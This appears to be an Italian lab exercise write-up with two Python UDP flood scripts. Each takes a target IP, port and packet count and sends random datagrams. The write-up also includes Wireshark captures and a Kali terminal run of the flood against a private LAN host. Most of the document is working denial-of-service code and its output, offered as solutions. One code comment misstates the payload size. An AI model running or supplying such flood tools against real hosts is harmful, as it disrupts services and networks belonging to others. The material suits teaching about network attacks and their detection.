

Soluzione 1

```
import socket
import random

ip_target = input("Inserisci l'indirizzo IP target: ")
port_UDP = int(input("Inserisci la porta target: "))
numero_di_pacchetti = int(input("Inserisci il numero di pacchetti da inviare: "))

dos = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

for _ in range(numero_di_pacchetti):
    bytes_casuali = random.randbytes(2048) # Genera un payload di 1024 byte casuali
    dos.sendto(bytes_casuali, (ip_target, port_UDP))
    print("Pacchetto inviato.")

dos.close()
```

Sniff

The screenshot shows the Wireshark interface with a display filter set to 'udp'. The packet list pane displays 15 captured packets, all of which are UDP fragments from source 192.168.178.100 to destination 192.168.178.102. The packet details pane shows the structure of a UDP packet, including Ethernet II, Internet Protocol Version 4, and User Datagram Protocol. The packet bytes pane displays the raw data in hexadecimal and ASCII. The status bar at the bottom indicates that 15 packets have been captured, totaling 431250 bytes (100.0% of the capture).

No.	Time	Source	Destination	Protocol	Length	Info
4312...	100.275802092	192.168.178.100	192.168.178.102	UDP	612	53607 → 1234 Len=2048
4312...	100.275846464	192.168.178.100	192.168.178.102	IPv4	1516	Fragmented IP protocol (proto=UDP 17, off=0, ID=5389) [Reassembled
4312...	100.275851557	192.168.178.100	192.168.178.102	UDP	612	53607 → 1234 Len=2048
4312...	100.275886484	192.168.178.100	192.168.178.102	IPv4	1516	Fragmented IP protocol (proto=UDP 17, off=0, ID=538a) [Reassembled
4312...	100.275891187	192.168.178.100	192.168.178.102	UDP	612	53607 → 1234 Len=2048
4312...	100.275934558	192.168.178.100	192.168.178.102	IPv4	1516	Fragmented IP protocol (proto=UDP 17, off=0, ID=538b) [Reassembled
4312...	100.275940381	192.168.178.100	192.168.178.102	UDP	612	53607 → 1234 Len=2048
4312...	100.275993718	192.168.178.100	192.168.178.102	IPv4	1516	Fragmented IP protocol (proto=UDP 17, off=0, ID=538c) [Reassembled
4312...	100.275999011	192.168.178.100	192.168.178.102	UDP	612	53607 → 1234 Len=2048
4312...	100.276037580	192.168.178.100	192.168.178.102	IPv4	1516	Fragmented IP protocol (proto=UDP 17, off=0, ID=538d) [Reassembled
4312...	100.276042202	192.168.178.100	192.168.178.102	UDP	612	53607 → 1234 Len=2048
4312...	100.27604854	192.168.178.100	192.168.178.102	IPv4	1516	Fragmented IP protocol (proto=UDP 17, off=0, ID=538e) [Reassembled
4312...	100.276090116	192.168.178.100	192.168.178.102	UDP	612	53607 → 1234 Len=2048
4312...	100.276132597	192.168.178.100	192.168.178.102	IPv4	1516	Fragmented IP protocol (proto=UDP 17, off=0, ID=538f) [Reassembled
4312...	100.276137670	192.168.178.100	192.168.178.102	UDP	612	53607 → 1234 Len=2048
4312...	100.276179701	192.168.178.100	192.168.178.102	IPv4	1516	Fragmented IP protocol (proto=UDP 17, off=0, ID=5390) [Reassembled
4312...	100.276185024	192.168.178.100	192.168.178.102	UDP	612	53607 → 1234 Len=2048

Soluzione 2

```
import socket
import random

def udp_flood(target_ip, target_port, packet_size, num_packets):
    udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    for _ in range(num_packets):
        packet_data = bytearray(random.randint(0, 255) for _ in range(packet_size))
        udp_socket.sendto(packet_data, (target_ip, target_port))

    udp_socket.close()

def main():
    target_ip = input("Inserisci l'IP target: ")
    target_port = int(input("Inserisci porta target: "))
    packet_size = 1024
    num_packets = int(input("Inserisci il numero di pacchetti da inviare: "))

    try:
        udp_flood(target_ip, target_port, packet_size, num_packets)
        print("Attacco di flood UDP completato.")
    except Exception as e:
        print("Si è verificato un errore durante l'attacco di flood UDP:", e)

if __name__ == "__main__":
    main()
```

Sniff 2

The screenshot displays a Wireshark packet capture and a terminal window. The Wireshark interface shows a list of 15 captured packets, all of which are 1516 bytes long and identified as 'Fragmented IP protocol (proto=UDP 17, off=0, ID=99b7) [Reassembled]'. The source IP is 192.168.178.100 and the destination is 192.168.178.102. The terminal window shows the execution of the Python script from the previous block, with the user inputting the target IP (192.168.178.102), port (1234), and number of packets (6423781902364509).

No.	Time	Source	Destination	Protocol	Length	Info
86358	29.962109331	192.168.178.100	192.168.178.102	IPv4	1516	Fragmented IP protocol (proto=UDP 17, off=0, ID=99b7) [Reassembled]
86359	29.962121857	192.168.178.100	192.168.178.102	UDP	612	47817 → 1234 Len=2048
86360	29.962806379	192.168.178.100	192.168.178.102	IPv4	1516	Fragmented IP protocol (proto=UDP 17, off=0, ID=99b8) [Reassembled]
86361	29.962855874	192.168.178.100	192.168.178.102	UDP	612	47817 → 1234 Len=2048
86362	29.963539936	192.168.178.100	192.168.178.102	IPv4	1516	Fragmented IP protocol (proto=UDP 17, off=0, ID=99b9) [Reassembled]
86363	29.963546419	192.168.178.100	192.168.178.102	UDP	612	47817 → 1234 Len=2048
86364	29.964222657	192.168.178.100	192.168.178.102	IPv4	1516	Fragmented IP protocol (proto=UDP 17, off=0, ID=99ba) [Reassembled]
86365	29.964228570	192.168.178.100	192.168.178.102	UDP	612	47817 → 1234 Len=2048
86366	29.964909120	192.168.178.100	192.168.178.102	IPv4	1516	Fragmented IP protocol (proto=UDP 17, off=0, ID=99bb) [Reassembled]
86367	29.964918455	192.168.178.100	192.168.178.102	UDP	612	47817 → 1234 Len=2048
86368	29.965604418	192.168.178.100	192.168.178.102	IPv4	1516	Fragmented IP protocol (proto=UDP 17, off=0, ID=99bc) [Reassembled]
86369	29.965617624	192.168.178.100	192.168.178.102	UDP	612	47817 → 1234 Len=2048
86370	29.966293722	192.168.178.100	192.168.178.102	IPv4	1516	Fragmented IP protocol (proto=UDP 17, off=0, ID=99bd) [Reassembled]
86371	29.966298975	192.168.178.100	192.168.178.102	UDP	612	47817 → 1234 Len=2048
86372	29.966969430	192.168.178.100	192.168.178.102	IPv4	1516	Fragmented IP protocol (proto=UDP 17, off=0, ID=99be) [Reassembled]
86373	29.966975353	192.168.178.100	192.168.178.102	UDP	612	47817 → 1234 Len=2048
86374	29.967672341	192.168.178.100	192.168.178.102	IPv4	1516	Fragmented IP protocol (proto=UDP 17, off=0, ID=99bf) [Reassembled]

Frame 1: 1516 bytes on wire (12128 bits), 1516 bytes captured (12128 bits) on interface v1
Linux cooked capture v1
Internet Protocol Version 4, Src: 192.168.178.100, Dst: 192.168.178.102

Data

kali@kali: ~/Desktop

```
(kali@kali)~$ python michele.py
python: can't open file '/home/kali/michele.py': [Errno 2] No such file or directory

(kali@kali)~$ cd /home/kali/Desktop
(kali@kali)~/Desktop$ python michele.py
Inserisci l'IP target: 192.168.178.102
Inserisci porta target: 1234
Inserisci il numero di pacchetti da inviare: 6423781902364509
```